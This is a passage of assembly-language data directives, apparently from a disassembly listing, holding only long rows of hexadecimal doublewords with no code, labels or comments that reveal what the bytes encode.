		dd 31A4A009h, 28381C60h, 2191F0AAh, 3F0BBDF9h, 0C9F67AFh
		dd 0C03D8188h, 0BD017C21h, 640717A6h, 0AEBA9073h, 232F2460h
		dd 0D844F3E7h, 76969C02h, 0C1B4015Dh, 653007B3h, 0A139DA1h
		dd 0FF94BB62h, 909500BCh, 3A39CED1h, 0A3F19700h, 0F0C5D67Dh
		dd 46A940CFh, 3B56CB40h, 5860AA0Ch, 0A87D6920h,	18ED3A00h
		dd 0D451F30Ah, 3ECE2A48h, 0D98B03B4h, 0C8B177D0h, 38BF3A98h
		dd 3B607674h, 0D322FD21h, 787A001Bh, 88A03356h,	980655C9h
		dd 3C428CCBh, 6A5D0729h, 0C0B04ED3h, 82A44708h,	0D2D7B8C4h
		dd 0A4EA4097h, 60ABDA88h, 0AF39BD07h, 9198F721h, 0F060019h
		dd 0D75413BDh, 0EEC4F8C1h, 0FDCABECh, 1BAFF1EEh, 0D05F3FE0h
		dd 2092C412h, 7D246174h, 11803891h, 6FC070E8h, 945F242Fh
		dd 940E118Ch, 6C51DD3h,	5370C064h, 0C97F0069h, 58E34F6Ch
		dd 6B184099h, 50418143h, 94DA07BEh, 43E77C4Ch, 62E0305Fh
		dd 0B0003CABh, 24B95E56h, 0E198BBh, 2F25EB32h, 0C6D5A7BDh
		dd 92F1CB01h, 40DB4155h, 30BC6BCCh, 958C5D9h, 9D48C0BFh
		dd 0DFC88EBCh, 0E89FF180h, 1810DC06h, 20EB7C93h, 8414CF2Ah
		dd 0F7200F71h, 2D60FFA4h, 84AC02C6h, 0D97E4DB0h, 30845256h
		dd 6D572187h, 2472987Fh, 3B009B0Fh, 6C033E21h, 0E6E043A3h
		dd 20D4658h, 6DA7F74h, 3C674Ah,	0A7F6C58h, 0BF002F80h
		dd 3731F9FEh, 60CE99E5h, 4336612Ah, 0CD130C40h,	86009753h
		dd 0E076A77h, 4DF5040Fh, 8816E96Bh, 0BC60C4C0h,	52F32B39h
		dd 119C60CFh, 122527A2h, 5B2B2CA1h, 65428304h, 487E3Bh
		dd 0BC0970B9h, 449FA5CFh, 52D6300h, 0E943E1C8h,	18FE5Eh
		dd 0CEAE6072h, 36F2A7BBh, 692D9800h, 8DB71AB9h,	3CE828E1h
		dd 45CE0091h, 71A21B75h, 0AA00132Dh, 0B9FD620Fh, 7DAF26C8h
		dd 0AB793FA8h, 0F3213480h, 38814F8Eh, 0D3CEB207h, 7B903CEAh
		dd 0BD302Dh, 0B99197ACh, 7539E0F0h, 0A455691Dh,	847196C0h
		dd 9DC28Bh, 78CC26C9h, 600A7C30h, 0D366CB00h, 80E6E423h
		dd 0A2D0004Eh, 34CA5362h, 0E0377BAh, 3DD7D2B1h,	0D4EAE0ABh
		dd 291F37C1h, 3EAA9088h, 123F6656h, 9957000Bh, 0AD8A6A8h
		dd 0C1BF0026h, 87563967h, 54003DF2h, 7B3A0C88h,	0A601ACh
		dd 5EB4E669h, 213BCFCAh, 1FC04100h, 0E10EDDC6h,	6847129Bh
		dd 910D000Ch, 66EBE3A4h, 0FF5A70E3h, 0D14D4600h, 0EE5B2A6Dh
		dd 0E50E1215h, 8A304721h, 990510FDh, 55FCFAF5h,	3E951900h
		dd 0EDAD4A0Bh, 21A600FFh, 0AB45C783h, 6100CDC2h, 6E509307h
		dd 0F2D1CE7h, 0A5ADD6F3h, 9908863h, 69B3E4D0h, 608F3803h
		dd 0E9F0E180h, 48E6C146h, 3F50C10h, 5118BB56h, 0C3B81B5Eh
		dd 700A3ECh, 0B8107FF3h, 0EB11460h, 0B65B4D87h,	0E2F55720h
		dd 4200C8D2h, 0BB300D0Fh, 0E2B1F3EEh, 8C98001Ch, 33D5012h
		dd 1B004D3Fh, 0AEE2C21Fh, 7217F92h, 4E3882F7h, 221DC0D8h
		dd 200060BFh, 24467AADh, 7E8E0Fh, 0E677DCF1h, 210D7386h
		dd 2C0090F8h, 9731C001h, 4B2E7Ah, 0F7D7BF76h, 0D46B8A9Dh
		dd 51DA1800h, 7E26BBE3h, 2FAE0922h, 84204667h, 0CA7D5005h
		dd 876AFF00h, 54665559h, 9771001Ch, 0B7400F22h,	0E300AE11h
		dd 0CC76D362h, 0DB7426h, 2C647D0Eh, 2E2AB3CBh, 0B2018874h
		dd 989323B6h, 3330BC60h, 0D971F0h, 0F87C9F58h, 0EF120146h
		dd 19384B73h, 0F4A9A86Bh, 1099622h, 69F72086h, 0DCE5190Bh
		dd 0F60205CDh, 76B3B45h, 337E607Ch, 8D485036h, 189D3F25h
		dd 831700F8h, 26785BA3h, 0ACFC0B8Dh, 7FF2CB00h,	0D58A16C4h
		dd 27450060h, 69CC4201h, 0E0169504h, 0CE02B559h, 43A74AD8h
		dd 7BECE820h, 11AF07A2h, 0C49392F6h, 0EE6C800Bh, 0D52E956Ch
		dd 0B2007487h, 0F49875C3h, 0F0AC00A5h, 964EB0B4h, 4D000ED9h
		dd 1DFFCEF3h, 7FB77Ch, 0F25B45DFh, 418CC373h, 0EAFE6100h
		dd 65134C6Bh, 335C066Ah, 44CF18E7h, 0B6694D16h,	21677C20h
		dd 0F27100FCh, 523FE4D8h, 4D00BA6Fh, 75FA40B0h,	7DF957h
		dd 7890D019h, 9C327145h, 68F6F201h, 2BCD0955h, 77CCE1C5h
		dd 64FC489Dh, 0D6C3380Eh, 55198AA0h, 0BC00BA73h, 1D1068A0h
		dd 3C91F4h, 6709794Ch, 0D79C0BDDh, 68F95200h, 26B9A605h
		dd 97D20134h, 9AEE778Bh, 4BFFDC86h, 23E97C0Eh, 760B244Fh
		dd 4E37C980h, 660A007Bh, 955013C8h, 750004BEh, 0DED86AA8h
		dd 0EECE698h, 0AAD8AA5h, 2ADB67E0h, 0FF4F4516h,	931B6CBCh
		dd 889028B6h, 0C20E541Fh, 4047FD25h, 0A802DC76h, 0A4371243h
		dd 5B3880EAh, 8000D64Fh, 6A302777h, 0E2AA91FEh,	0EE8D0024h
		dd 1571D3B7h, 0A90051D6h, 9A89F738h, 60A137h, 5464B91Ch
		dd 6585E5FCh, 3F00E9B0h, 623B8AE0h, 0E772A9Dh, 0F96F514Eh
		dd 0D3018D07h, 0F0C8FC20h, 0D1007498h, 65D73D29h, 6987D8h
		dd 81B8F476h, 2BABAD41h, 80A88024h, 0B3E17100h,	699452h
		dd 0DA5810FFh, 0F5E5533Dh, 3B491D90h, 0FC5D1284h, 98854C73h
		dd 0A6B24h, 0E66E7DB7h,	65468AFCh, 0DA0E2300h, 2BC99C2Eh
		dd 0B5DC012Fh, 2D0C7B3Dh
		dd 8CC06092h, 6D622102h, 40F17430h, 0F8EDB90h, 0EB19A2C2h
		dd 0AAC6B520h, 0F4002069h, 0B6811090h, 1C75AF7h, 0A2FD7522h
		dd 0E3CFA791h, 342DD0E9h, 37716A00h, 98641326h,	82C08E94h
		dd 80A5B502h, 0AF17C92h, 395C02F5h, 0C69EA625h,	26B87C60h
		dd 2A00CDFCh, 9A42E504h, 1300F2Bh, 0D64983EDh, 0E3526088h
		dd 4E73A3A8h, 80095A3Dh, 98F3F5B4h, 170438h, 7456FFD5h
		dd 4C4E191Ch, 0F5D4760Eh, 82B6348h, 33949052h, 65970002h
		dd 0EB92BEFFh, 110089EDh, 293A8CB8h, 7CDB0D5Dh,	0FFA91D9Ah
		dd 24480384h, 0FC0C2E13h, 0F0803D92h, 0CF7C90E7h, 7D60D4F0h
		dd 6032D2BEh, 0C8E9700h, 4C1D0AFh, 0FC5313DAh, 7E110086h
		dd 393E71DFh, 82BA2400h, 0B6CAB046h, 0F63F00AEh, 7850328Eh
		dd 0B40026A5h, 698C2CB3h, 592EB94Fh, 0D30FD0BCh, 614083EBh
		dd 663F7529h, 0DCA06300h, 876B1485h, 0F592000Bh, 5CCE4FAEh
		dd 28011D6Dh, 0D91A88C7h, 7960C540h, 4F100B7h, 0E44460F0h
		dd 900723Dh, 8E4E7FF4h,	0B999F56Bh, 25E500F0h, 0AF538C5Ch
		dd 3472BF2Ch, 925DD804h, 313F5480h, 1819129Dh, 0FE7400D3h
		dd 0D15C4F73h, 6BFB1A07h, 8A50BDBEh, 4CB95B9Dh,	0AF1FD065h
		dd 80D752DDh, 0D5469264h, 1BCF85Dh, 61A6578h, 2D07D63h
		dd 7C324893h, 2585620Fh, 11742006h, 0A50D20C3h,	0CF69C0CDh
		dd 0F07206h, 0BF3FACABh, 0FA25684Eh, 0C8119901h, 340C9381h
		dd 1F73BEF0h, 765D20Fh,	0A7A5A9F8h, 50559640h, 96B8BD1Ch
		dd 980D79Fh, 0C7629E0Ah, 0E36E00AEh, 9FAFD540h,	7F50473Bh
		dd 98C06C58h, 46B7630Ch, 540CA17Dh, 88B2E080h, 0C8D17276h
		dd 0DAD2F600h, 4BB0B5Eh, 5C9F39E7h, 4334570Fh, 0FE3CAEC0h
		dd 0B3755283h, 0BE3D3Fh, 17CB6BE1h, 2E663E0Bh, 0CB581Ch
		dd 0FC7A320Dh, 5F1E3A62h, 0B55FFFA3h, 0FBC62C04h, 5E01CCA3h
		dd 7A06DC7Fh, 0C0850C9Eh, 7F765221h, 0AF005714h, 0E67D23CCh
		dd 8A964C32h, 8385CC04h, 62B0731Bh, 2A4FCF14h, 0A3BC0400h
		dd 32E183h, 587602F3h, 4C2DDCD1h, 0C90DC41Eh, 6003CBC3h
		dd 0ACE3D438h, 3CBD0470h, 32980FAFh, 87B2032h, 0DB00FBBDh
		dd 73BAC11h, 125E17DEh,	90782AA4h, 0E64138D0h, 634E3678h
		dd 3323382Eh, 0EFFBE700h, 0A0FAC14Eh, 6C8FFCDCh, 3550D88Bh
		dd 98719227h, 7EF93A30h, 7F5546F3h, 0F942888Bh,	208B001Bh
		dd 9A14A23Fh, 5775E540h, 5DD0E80Fh, 82C0997h, 5400B0D3h
		dd 0D4503AD1h, 60D49C47h, 0B174D0C0h, 91766021h, 21F20045h
		dd 253174D3h, 0BC1D1C1Bh, 5266C005h, 7338CF6Ah,	44C6835Fh
		dd 742BF8C8h, 998A855h,	3A600247h, 34BA3CB2h, 40E5A087h
		dd 2EFBF80Bh, 3A168F38h, 86786DCh, 39984Ch, 0E03E4D30h
		dd 0C4FBB104h, 0A8C5451Ch, 1E753B8Fh, 9C62BC4h,	7A703898h
		dd 6A06107Fh, 6854B09Ch, 638F007Fh, 47B2B95Ch, 6B502AA6h
		dd 93106154h, 90408BC8h, 5C609C2Ch, 81C67B21h, 7C1634B0h
		dd 0A145E022h, 41954230h, 28DC94E3h, 6F4A969h, 0C48F08DBh
		dd 0F9717080h, 0AE7B0512h, 8CB0453h, 94C03388h,	0E6C695h
		dd 0D141DFCBh, 1FFFE10Eh, 20408E27h, 9DA7B62Ch,	0F1CA022Fh
		dd 1DCEB70Dh, 98447884h, 0D008C508h, 0C428B173h, 2EF94032h
		dd 49983D3h, 0DA9C3178h, 8800CEADh, 42C8C088h, 0D649D0E5h
		dd 20A60368h, 0A0B8E853h, 410E39Ch, 0E7BCD4E1h,	0A0608372h
		dd 2130B680h, 4C8B690Ch, 4DD7C0F5h, 43301C09h, 473DEB49h
		dd 0A940D400h, 58232D8h, 0B03A5053h, 0C94F66C9h, 9900B8A6h
		dd 0FEE4FF42h, 2349EEh,	90D8E94Dh, 8C4B4E64h, 0A02A8700h
		dd 0A7B9749Ch, 0AB8B601h, 6C03CC2h, 51EABF8Fh, 0D86E3815h
		dd 0B70B04B0h, 0B50AEC24h, 39A966BCh, 932B921Fh, 0A0798B45h
		dd 32E5900Fh, 97511882h, 804C91C8h, 0AA9816FDh,	73F8A8C3h
		dd 0F19CCC0Eh, 70724CAEh, 36DC6C0Ah, 7400843Bh,	0BA8F5C37h
		dd 48D460C1h, 202C0E90h, 8029A9C8h, 0DFE03CD2h,	7902DA76h
		dd 0B324B8B1h, 80AC88B7h, 8AA54508h, 80C0F2D0h,	3E5E98F4h
		dd 0CF6876EAh, 46746C60h, 77BD0040h, 0D4651DA1h, 970B0AB0h
		dd 2ACD0A4h, 21E87FB7h,	20BAD700h, 4860B051h, 85CE783Fh
		dd 386CD1F8h, 11B09D82h, 0C5548135h, 6030E51Ah,	14B976E8h
		dd 3C2C0D0Ah, 0E8B22A88h, 0D0D33042h, 38B15912h, 0C4CCA839h
		dd 0FF6000D0h, 0B0DDBEA7h, 16494C0Fh, 0E2453D4h, 238CDB4Ah
		dd 0E106C5DAh, 1880E9B8h, 0D5726A5Fh, 9F4CF9E5h, 8A4B16F8h
		dd 0C629001h, 0F84049C3h, 0FD45B45Fh, 0CEB9A068h, 1B44830h
		dd 911722CCh, 80E17092h, 2752BF78h, 5264EC49h, 4B0098A9h
		dd 5F340B37h, 84000F13h, 0FB6A1172h, 70581Fh, 0C8A4F462h
		dd 0F87ECF88h, 0E482090h, 4C2ED310h, 1E004123h,	6D6FF8E8h
		dd 0DCD20103h, 3CD94CC8h, 92607CD5h, 0E2F98800h, 0FC910289h
		dd 830C0FCh, 0FD5CDCC4h, 7458CF02h, 9011E9C8h, 35AB16E4h
		dd 440619Bh, 241469Ch, 8FFF65CEh, 0D2805158h, 10B15ED0h
		dd 0F847448Ch, 95D0DB00h, 0D8E12175h, 0E5F40CA4h, 63599CE6h
		dd 321429C0h, 74ED6B3Ch, 1B462C9Dh, 0DC782648h,	3E0AD702h
		dd 408F64DCh, 0B821581Ch, 418E78Ch, 0AF40BD04h,	7F2C9F6Fh
		dd 83BD0C07h, 406FEC1Bh, 10610AFCh, 0D11A008Bh,	0D03EFE38h
		dd 30B2D9E8h, 69DC3040h, 78AB413Fh, 0BDF29430h,	0FFAF3A11h
		dd 100E29Fh, 1897BDFAh,	2EA4A029h, 17B87E40h, 3F8C606Ch
		dd 6321FAF9h, 4738C01Dh, 602CCF9h, 0E38BF07Bh, 0F762DF09h
		dd 50295C81h, 0A994528Eh, 0ED099864h, 3C9D3E9h,	8126CC99h
		dd 0C5C5AA93h, 407CC820h, 90F66B3Dh, 905C8D40h,	0C4E0C88Ch
		dd 3BBD05C0h, 2C074AAFh, 0D077804h, 0DFE2F7BDh,	0ED91C290h
		dd 5AE41063h, 72200198h, 39BB8F34h, 0BD026432h,	9FC4B709h
		dd 6880F84Ah, 33135F1h,	4C317672h, 6D8ED18Bh, 1842EF4h
		dd 1DCD479Ah, 0E4CB2A63h, 2BFCFB74h, 11DC1795h,	7D37807Bh
		dd 16EEA1Eh, 625F0BABh,	24304AE4h, 9888315Ch, 0CB6E00C2h
		dd 0ACA8DA02h, 9F0C4254h, 0B8EDC88Ah, 0E86F12D9h, 820B419h
		dd 7F5F028Ch, 9E0206D3h, 51804465h, 0B99C7F77h,	18F10247h
		dd 9B989290h, 11D41A00h, 0DCB004ECh, 92D26031h,	4100EE78h
		dd 9078E32Ch, 312706E4h, 7907BEC5h, 6A923512h, 0F93D2C60h
		dd 2D632304h, 379EF11h,	2E80F945h, 1C17799h, 0F3D876B9h
		dd 0B50E9802h, 71481D35h, 4098A4E9h, 12CF6E97h,	0A8200A2Ch
		dd 0E40C4549h, 70576085h, 0F82504FCh, 84CB46C6h, 12ECCC24h
		dd 0B4185007h, 1B20E8FFh, 90F88387h, 85C82494h,	69946070h
		dd 23173061h, 0F43A5395h, 24098623h, 0C0C86D3Ah, 0E3D26E7Ah
		dd 4200F379h, 97664448h, 49A98F53h, 0B0043C21h,	8426B9A7h
		dd 40FD862Ch, 0FF74D094h, 3573EA18h, 0A4B0AB78h, 1F895720h
		dd 0CAC4B93Ch, 0A5C8906Bh, 87C40465h, 0D1BFBC60h, 65F65400h
		dd 8DD8D707h, 3FFA2CDDh, 0A85341D0h, 16D0E086h,	5664115Dh
		dd 7235F230h, 807F0AECh, 47FC16E9h, 839CEACEh, 5A0B21F3h
		dd 47F174C0h, 410B75F0h, 84D5F69Ah, 44C7E274h, 2A453D94h
		dd 0B00E462h, 86584713h, 5E04842h, 4790CAE3h, 60304488h
		dd 2CFC038h, 0FD6125D9h, 28E4A6DFh, 0BC7A5500h,	21E27CC9h
		dd 0AD58001Bh, 0A920379Bh, 6502E0D1h, 7DF5082Dh, 0E4C8C556h
		dd 77A86141h, 99CF3BC0h, 44C30764h, 0C6E01E4Ch,	9FCE7287h
		dd 17F96B25h, 80419160h
		dd 507860EFh, 0E3AE2A13h, 4D7110A4h, 0A1A853C6h, 0A40CC679h
		dd 68199B90h, 8FE45FE7h, 944C1433h, 58CE1B8h, 0CB22EF0Dh
		dd 1CA0C00Eh, 801D9FFh,	0D66A5D86h, 9FF83430h, 67C413AEh
		dd 0CAA40075h, 5CB68508h, 48468F18h, 646B2AF1h,	0C8A9C98Ah
		dd 69000568h, 0DD685DC2h, 48A715B1h, 3202144Dh,	0CE6114C7h
		dd 7BAB2081h, 0B2EA80CDh, 0B146947Ch, 0CA4A003Fh, 511BADDEh
		dd 5F4BFD82h, 0B7776003h, 0D2C20E94h, 24825BC0h, 0D843821Bh
		dd 0D0ECE0BCh, 89CE157Bh, 8193A640h, 34E07C20h,	8E484EB7h
		dd 0C12C8814h, 0D25DF6C5h, 0F9E134C0h, 51B6E531h, 9FDC1AC4h
		dd 9C1027AAh, 33190022h, 53FE0200h, 28660421h, 9843D450h
		dd 0D004DC28h, 77C0B170h, 0FE80C4F2h, 63A7D32Dh, 50F08E00h
		dd 0AE806C29h, 913F37B4h, 42A680D8h, 0A13C83C4h, 230976D8h
		dd 0D1F9D93Eh, 187C79D8h, 0A585075Eh, 0C21D7165h, 0DCC7ABB6h
		dd 18C18842h, 0B90C3F35h, 1990572Ah, 0AB160C99h, 0D0B894C3h
		dd 80180C48h, 0F151B95Fh, 4FCCB624h, 86B83C94h,	73D7098Ch
		dd 74D0B493h, 51848230h, 0B7DFB1h, 0E22EEA61h, 7A0C4A66h
		dd 0BF54440Eh, 70049702h, 7401916Ah, 503C07B1h,	70BF0DE0h
		dd 504D68BAh, 49B838h, 0C57C2D39h, 0CE02421Ah, 6C8F049Ch
		dd 0E01861F2h, 0B1D47B7Dh, 40B1D6FEh, 0E1D208E0h, 1B5A5D0Bh
		dd 8723802Fh, 0A6751C00h, 140ED2BFh, 0AC51F2FCh, 23BC2F4Ah
		dd 38C71A4Eh, 4D6AC081h, 0EDBCD0F8h, 93CA348h, 40C6E524h
		dd 56BB810h, 5CBF09FFh,	0FA9C0C91h, 63E64DC8h, 0A4259528h
		dd 80489A5Bh, 0F93CC16Bh, 3B45F901h, 3DB02Ch, 2852F944h
		dd 29ED1EB2h, 0DB582102h, 0D30A506Fh, 0ADD98974h, 0BCC080CDh
		dd 7EDC9239h, 0E4BA100Ah, 0CE2400F4h, 42630C94h, 10869D29h
		dd 920059AAh, 7DB7B972h, 9BF1DEC9h, 0B20178F4h,	7C24E073h
		dd 0B10F8CECh, 0A02961E5h, 7833469Bh, 3F251882h, 0A049C902h
		dd 4E0C9CD8h, 2FAD07FFh, 509001D2h, 0CC3BAF73h,	5E96700Bh
		dd 0E1F80027h, 0E1B708DAh, 5B297024h, 0BFE42069h, 4A808DD0h
		dd 0EEDB00D1h, 0F0CD54E9h, 0C1F86A58h, 2E44B09Eh, 3DBDFB60h
		dd 5857AF2Eh, 37A70h, 7C4182BDh, 3A44C49Ah, 97BBEC3Ah
		dd 384371BCh, 0A4D31462h, 0BECA2880h, 0D6D228A7h, 0C4920EACh
		dd 9E9226BFh, 4E9982E8h, 863C5EA9h, 21D0BEC4h, 1804252h
		dd 570C9813h, 63F45E5Ah, 10D74D04h, 94BCFC09h, 39EAB8A6h
		dd 0D4E7D01Ch, 0CC3F21D6h, 7DF88C7Fh, 2628B000h, 84BF06D1h
		dd 0FCAF9FFFh, 0A19A8034h, 0DC3C76h, 75A87EBFh,	7097099Fh
		dd 0E8D19C4Eh, 0A0202938h, 0D9250011h, 36D49FFAh, 24618DA6h
		dd 86423818h, 0A46F92E4h, 0F940056Ch, 38256305h, 480731B8h
		dd 10D03AF9h, 5F002A34h, 0C1096C1Bh, 0BCE8B829h, 0C3008F11h
		dd 4523F08Ah, 8700B5D8h, 0D3F2F61Bh, 75F9163Eh,	2AC50C42h
		dd 32D94C7Fh, 24AEABF0h, 0BEFE4A00h, 2FD5EFC4h,	6BC1FBFh
		dd 0A1C080E3h, 0D3DFE904h, 6437584Ah, 9D94AF10h, 4CC82E64h
		dd 80A5456Ch, 0C9BBB6A4h, 410E350Fh, 423A8668h,	5E3C0F09h
		dd 7681DC06h, 8516E9C8h, 4BCE9299h, 2F3E1CA1h, 322394h
		dd 53BBA1Fh, 0A6143EB8h, 2DC42731h, 8138B7E2h, 4F7312Dh
		dd 3D507014h, 0AB83A40h, 45D45651h, 0D0C64028h,	304AB172h
		dd 0FC01108Bh, 0B286D32Fh, 84A1C453h, 17567400h, 0E6793BC3h
		dd 215F1632h, 88048B60h, 0E31BC033h, 1C16CBADh,	0CC045BA9h
		dd 0C4028A32h, 7C475C2Dh, 18C18642h, 0C754ABC2h, 717CDCCCh
		dd 356C3E00h, 0EEC13256h, 0AF68090Bh, 8C0234D5h, 0D7078C58h
		dd 7D2C20D9h, 9EBF4Ah, 91A4F5EFh, 69A6149Bh, 77FF8100h
		dd 674CB327h, 572AF5FAh, 0DC28CB68h, 84B400E3h,	0BFEA030h
		dd 0F0209718h, 5CBDB588h, 0B38098AAh, 5CD11B15h, 0DC550604h
		dd 90A032A2h, 964C0479h, 0E25EE35Fh, 0A0A60FFCh, 91B9A2E8h
		dd 72CD8084h, 4F3206C4h, 23342F9Eh, 2A9F0086h, 4324D4FFh
		dd 21CE5700h, 0C09538FEh, 209E5A1Dh, 0C9A7B700h, 90CD05FFh
		dd 47BC407Ch, 5927008Ch, 851761DAh, 960741DBh, 97996C2Bh
		dd 53023020h, 0DF6400D2h, 57FF6778h, 70A568DAh,	9B609CC4h
		dd 0CC003598h, 660EA41Dh, 0A00FB7h, 5EF1CBC1h, 23542B67h
		dd 0D4B46C92h, 86797A5Eh, 3101BA7Eh, 413C4FE8h,	0D9D8E9E0h
		dd 70C49351h, 5303E656h, 0D1E993DAh, 0E0E4A4DFh, 980F18B0h
		dd 850BB8C5h, 7C56900Ah, 0D105C808h, 0C0CE3FC9h, 89C0EF88h
		dd 97231463h, 0A938640Ah, 0C67BD0CCh, 68321D86h, 0D7500C1h
		dd 0DD3A3747h, 0A04D062Dh, 13AF6B8Ch, 25F97915h, 5C17565Eh
		dd 0C09C4311h, 0C4BAF589h, 0E89E61E3h, 4AE8467Ch, 0BF0BE880h
		dd 0E900442h, 88AAFFD8h, 8D00BAB4h, 33EA455h, 61CEE0EEh
		dd 85738930h, 0CC97F82Ah, 0F35F9F05h, 5CA4D6D9h, 6FB412AEh
		dd 0D0D8E071h, 0E361C172h, 0A7098179h, 18E9FFCh, 5A1C0563h
		dd 0DE712ADFh, 0B7096868h, 0B89280F6h, 1AC85716h, 21B8D827h
		dd 18EE71F0h, 0A040F62h, 5878D897h, 965CABECh, 194E22BCh
		dd 0C12E12D0h, 98902061h, 0BE31C240h, 841D6BC4h, 0A3809311h
		dd 6432B35Bh, 0E9DCD100h, 7020B9FBh, 3B252D50h,	30E4A0E5h
		dd 1470D560h, 0E09F5B04h, 0B0C1AD1Dh, 9501FFCCh, 0A2E42394h
		dd 0C022317Dh, 2D056C55h, 0CA19886Fh, 0FC2028C4h, 0A8A774h
		dd 0A59F7E7h, 6627CFF1h, 0BF8F9CA8h, 8485F64Ah,	4323FC3Ah
		dd 25B9670Fh, 4ECC670h,	0C14385ECh, 41402E02h, 0DCCA4F24h
		dd 0A807FD04h, 6B0B7D50h, 3E08D2h, 5DDE0B40h, 0FC9F096Ch
		dd 3858A7BCh, 2C3D4409h, 0C00C4D01h, 3F09D041h,	4849788h
		dd 0B5109934h, 0F7A0B294h, 823DE078h, 0A930F842h, 99F35936h
		dd 0E510088h, 0D2BEC6E0h, 89010D76h, 10BCB441h,	2C2EBF1Dh
		dd 10F3BAF4h, 0F19FE4B6h, 97046C62h, 53279DA6h,	6C5C7830h
		dd 22C410A0h, 0CAA5F9h,	0AAC04CC8h, 180BB4A0h, 4888F48Fh
		dd 389914BAh, 52CCD280h, 94E9DEh, 7A46C5ECh, 3187DA7Ch
		dd 9310C006h, 0B388968h, 1816D02Ah, 0CCCD30CAh,	1E0ECCh
		dd 8D5FEC99h, 62170583h, 2402F89Ch, 5EE182DBh, 65D49C10h
		dd 47917C1Dh, 1F951380h, 5E283115h, 6480A4F2h, 0D24CD5E3h
		dd 99A02244h, 1886D160h, 748ECE4h, 26293872h, 0AAF04345h
		dd 4007F1FEh, 9F939771h, 0C47CCCE0h, 0E3BA00B9h, 0F20CA042h
		dd 2D48C31Ch, 22B2210h,	470ADAFAh, 0D7072A83h, 0AA711Ch
		dd 0E1BD60F6h, 0A77FFA98h, 0EF08377Fh, 923ADA25h, 0E2D0B263h
		dd 0E4CB3030h, 0CEE1C600h, 0DFF86381h, 0D15B0283h, 36D8D55Dh
		dd 5F58AC7Bh, 4F181C5Eh, 8A0709D0h, 1E40F058h, 0D0415B8Fh
		dd 0DC7DEC48h, 931624h,	0CD2A243Ch, 4CB3D034h, 473079A2h
		dd 0C79F0304h, 0BCAECFA7h, 284096EAh, 762ADC54h, 820344Dh
		dd 948F073Fh, 660C57E5h, 6CAD2048h, 0C0778BE2h,	6AB4FBh
		dd 0CCE1D2F5h, 4591B18Fh, 550D6700h, 0CFAC3847h, 2F4F4A9Eh
		dd 1E12328h, 0FC8434EEh, 6166C4F8h, 923685Ch, 78F76497h
		dd 31F0C3ACh, 0F9FDA281h, 0D102006Ch, 0FC1BEC20h, 95470176h
		dd 7CE8530Ch, 24089804h, 0F43C21h, 4BA93E76h, 0A6D0E5EDh
		dd 0BFE17200h, 0B6F11FAAh, 6A9C0028h, 0E980B3CDh, 4400402Ch
		dd 10C9DC13h, 0CE9886F2h, 0E500FB48h, 2F4E2CF1h, 4A644203h
		dd 0B0530833h, 197BF79h, 0EF41E1A4h, 810BF037h,	56ECFE40h
		dd 0D002362Bh, 1C327C0h
		dd 2063A807h, 8ECA1C5h,	0F321C04Ch, 86DBC339h, 9872D116h
		dd 0B2030401h, 2080FD89h, 75767920h, 0CC00B5AAh, 54AE62CFh
		dd 0EA1E5Fh, 0C6AD880Fh, 729CF69Ah, 59D1D163h, 98D5F2C3h
		dd 1176FE98h, 88FC9545h, 0F6428010h, 4E270676h,	0C876C00h
		dd 791F3A31h, 0CC433E4Fh, 0C0888AAAh, 0F6FC5290h, 11C0ED87h
		dd 11844E0Ch, 67700378h, 65406F34h, 80FC02A1h, 84562620h
		dd 1AEEB6Ch, 8FDA29C9h,	98E8E089h, 0EAB0EC41h, 0FF5186D4h
		dd 544360E0h, 100A58A9h, 376F745h, 0CA4CF0B8h, 2F907F37h
		dd 0D10ABBF5h, 54FC59B4h, 4F80F911h, 68781284h,	21F8608Ch
		dd 0AF845729h, 787D730Ch, 48ABF8E1h, 0C52A271Fh, 18700180h
		dd 0F34A63AEh, 9844C108h, 1021B709h, 0D3AE070Fh, 0CA4EEADh
		dd 0D7017AB1h, 0C9DBEF84h, 0F089CF2Bh, 6815D511h, 43800A11h
		dd 0E7834197h, 237DB507h, 0D82F9577h, 549C50A8h, 3F1DCBEh
		dd 0EF7A16AEh, 2BD89567h, 8430DFFBh, 0EEA180FDh, 0D8913DBAh
		dd 3303C680h, 629B7120h, 18F598A1h, 0E84084Bh, 5C54878h
		dd 532DB040h, 3A2784h, 0DC69388Bh, 0F4889DE6h, 9C5B41C0h
		dd 186F60F1h, 98904FA7h, 7001111Bh, 0B950C541h,	982053D5h
		dd 3E3D8C55h, 5BA891C3h, 0FA832A88h, 0EAA6C336h, 89A483F1h
		dd 0CB7100EEh, 0E3B46864h, 79008554h, 3EF303BCh, 0F94FA5E0h
		dd 14779048h, 9CF0A7B5h, 20884112h, 0E865C000h,	24002D90h
		dd 6AF6EE36h, 193D374h,	31B32BF3h, 714B532Ch, 39E5E46Bh
		dd 0F1D04E1Ch, 64429352h, 0E017FAFBh, 3C22F55Bh, 11804A1Fh
		dd 321C8C50h, 6848317Bh, 0A20053D0h, 0FD083010h, 9A9C4B0Dh
		dd 5447C812h, 0D08A5024h, 0C53CA90Ah, 0D1B02108h, 0EEE31857h
		dd 15400BCh, 0CDE67FD4h, 0FCEAF160h, 4281F69h, 8C9839A4h
		dd 4EAE080Bh, 0BCC4AB4Ah, 0ADEA0940h, 7F018397h, 9EEF570Dh
		dd 5834C0A2h, 874F1378h, 72A0002Eh, 42403A47h, 0F38CA091h
		dd 34A49C7h, 0C8B4036Ch, 0F100F589h, 0F3117BA2h, 0CE38B3h
		dd 0B2AD7EC5h, 0B0DCE20Bh, 59A31A00h, 5CDF9D4Bh, 0A894914Eh
		dd 1FF74678h, 78888449h, 21F8CF58h, 8405512Bh, 50FECBDDh
		dd 7300845Fh, 5D37A0EFh, 4C040638h, 60347AB4h, 8E016F01h
		dd 0AB108762h, 0BBC8984Bh, 0E0D4EC0h, 355A0146h, 13B5754Bh
		dd 80F8543Dh, 12FA74A0h, 1430AF4Ch, 1CA003B0h, 0C1032EA1h
		dd 232CB663h, 0D043B78h, 4D8448AEh, 20C03C22h, 0BEADE407h
		dd 7246BF1Fh, 0F400119Eh, 68227881h, 84D899FCh,	8985732Ch
		dd 88340B40h, 0F2E7C0BAh, 8B00CA3Ah, 0AF3C2E4Dh, 32A7E9Eh
		dd 76194133h, 3ACFD1EAh, 1EA187C0h, 991A3526h, 7B40C0B8h
		dd 118D71Bh, 0E170A010h, 248B05E3h, 8D9DA413h, 5C94018Ch
		dd 48431EBh, 3640D9DCh,	0C281B098h, 2F7A2417h, 218C4A54h
		dd 18BE7984h, 4C180073h, 91338052h, 9050FA9Dh, 528688B8h
		dd 9025010h, 4954476h, 3B0080E7h, 0A5927601h, 1519025Ch
